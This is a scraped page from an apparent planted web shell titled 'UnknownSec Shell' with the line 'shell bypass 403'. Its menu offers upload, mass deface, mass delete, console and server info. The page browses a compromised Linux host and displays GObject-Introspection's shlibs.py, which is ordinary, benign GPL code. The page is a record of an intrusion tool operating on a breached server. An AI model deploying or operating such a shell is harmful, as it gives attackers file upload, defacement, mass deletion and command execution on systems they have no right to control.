shell bypass 403
UnknownSec Shell
:
/
lib
/
x86_64-linux-gnu
/
gobject-introspection
/
giscanner
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
shlibs.py
# -*- Mode: Python -*- # GObject-Introspection - a framework for introspecting GObject libraries # Copyright (C) 2009 Red Hat, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # import os import sys import platform import re import subprocess from .utils import get_libtool_command, extract_libtool_shlib, host_os from .ccompiler import CCompiler # For .la files, the situation is easy. def _resolve_libtool(options, binary, libraries): shlibs = [] for library in libraries: shlib = extract_libtool_shlib(library) if shlib: shlibs.append(shlib) return shlibs # Assume ldd output is something vaguely like # # libpangoft2-1.0.so.0 => /usr/lib/libpangoft2-1.0.so.0 (0x006c1000) # # We say that if something in the output looks like libpangoft2<blah> # then the *first* such in the output is the soname. def _ldd_library_pattern(library_name): return re.compile(r"""^ # Require trailing slash to avoid matching liblibfoo when looking for libfoo. (.*[/])? lib%s # Prohibit library name characters to avoid matching libpangoft2 when looking for libpango. [^/A-Za-z0-9_-] # Anything but the path separator to avoid matching directories. [^/]* $""" % re.escape(library_name), re.VERBOSE) # This is a what we do for non-la files. We assume that we are on an # ELF-like system where ldd exists and the soname extracted with ldd is # a filename that can be opened with dlopen(). # # On OS X this will need a straightforward alternate implementation # in terms of otool. # # Windows is more difficult, since there isn't always a straightforward # translation between library name (.lib) and the name of the .dll, so # extracting the dll names from the compiled app may not be sufficient. # We might need to hunt down the .lib in the compile-time path and # use that to figure out the name of the DLL. # def _resolve_non_libtool(options, binary, libraries): if not libraries: return [] if platform.platform().startswith('OpenBSD'): # Hack for OpenBSD when using the ports' libtool which uses slightly # different directories to store the libraries in. So rewite binary.args[0] # by inserting '.libs/'. old_argdir = binary.args[0] new_libsdir = os.path.join(os.path.dirname(binary.args[0]), '.libs/') new_lib = new_libsdir + os.path.basename(binary.args[0]) if os.path.exists(new_lib): binary.args[0] = new_lib os.putenv('LD_LIBRARY_PATH', new_libsdir) else: binary.args[0] = old_argdir if host_os() == 'nt': cc = CCompiler() return cc.resolve_windows_libs(libraries, options) else: args = [] libtool = get_libtool_command(options) if libtool: args.extend(libtool) args.append('--mode=execute') platform_system = platform.system() if options.ldd_wrapper: args.extend([options.ldd_wrapper, binary.args[0]]) elif platform_system == 'Darwin': args.extend(['otool', '-L', binary.args[0]]) else: args.extend(['ldd', binary.args[0]]) output = subprocess.check_output(args) if isinstance(output, bytes): output = output.decode("utf-8", "replace") shlibs = resolve_from_ldd_output(libraries, output) return list(map(sanitize_shlib_path, shlibs)) def sanitize_shlib_path(lib): # Use absolute paths on OS X to conform to how libraries are usually # referenced on OS X systems, and file names everywhere else. # In case we get relative paths on macOS (like @rpath) then we fall # back to the basename as well: # https://gitlab.gnome.org/GNOME/gobject-introspection/issues/222 if sys.platform == "darwin": if not os.path.isabs(lib): return os.path.basename(lib) return lib else: return os.path.basename(lib) def resolve_from_ldd_output(libraries, output): patterns = {} for library in libraries: if not os.path.isfile(library): patterns[library] = _ldd_library_pattern(library) if len(patterns) == 0: return [] shlibs = [] for line in output.splitlines(): # ldd on *BSD show the argument passed on the first line even if # there is only one argument. We have to ignore it because it is # possible for the name of the binary to match _ldd_library_pattern. if line.endswith(':'): continue for word in line.split(): for library, pattern in patterns.items(): m = pattern.match(word) if m: del patterns[library] shlibs.append(m.group()) break if len(patterns) > 0: raise SystemExit( "ERROR: can't resolve libraries to shared libraries: " + ", ".join(patterns.keys())) return shlibs # We want to resolve a set of library names (the <foo> of -l<foo>) # against a library to find the shared library name. The shared # library name is suppose to be what you pass to dlopen() (or # equivalent). And we want to do this using the libraries that 'binary' # is linking against. # def resolve_shlibs(options, binary, libraries): libtool = list(filter(lambda x: x.endswith(".la"), libraries)) non_libtool = list(filter(lambda x: not x.endswith(".la"), libraries)) return (_resolve_libtool(options, binary, libtool) + _resolve_non_libtool(options, binary, non_libtool))
© 2026 UnknownSec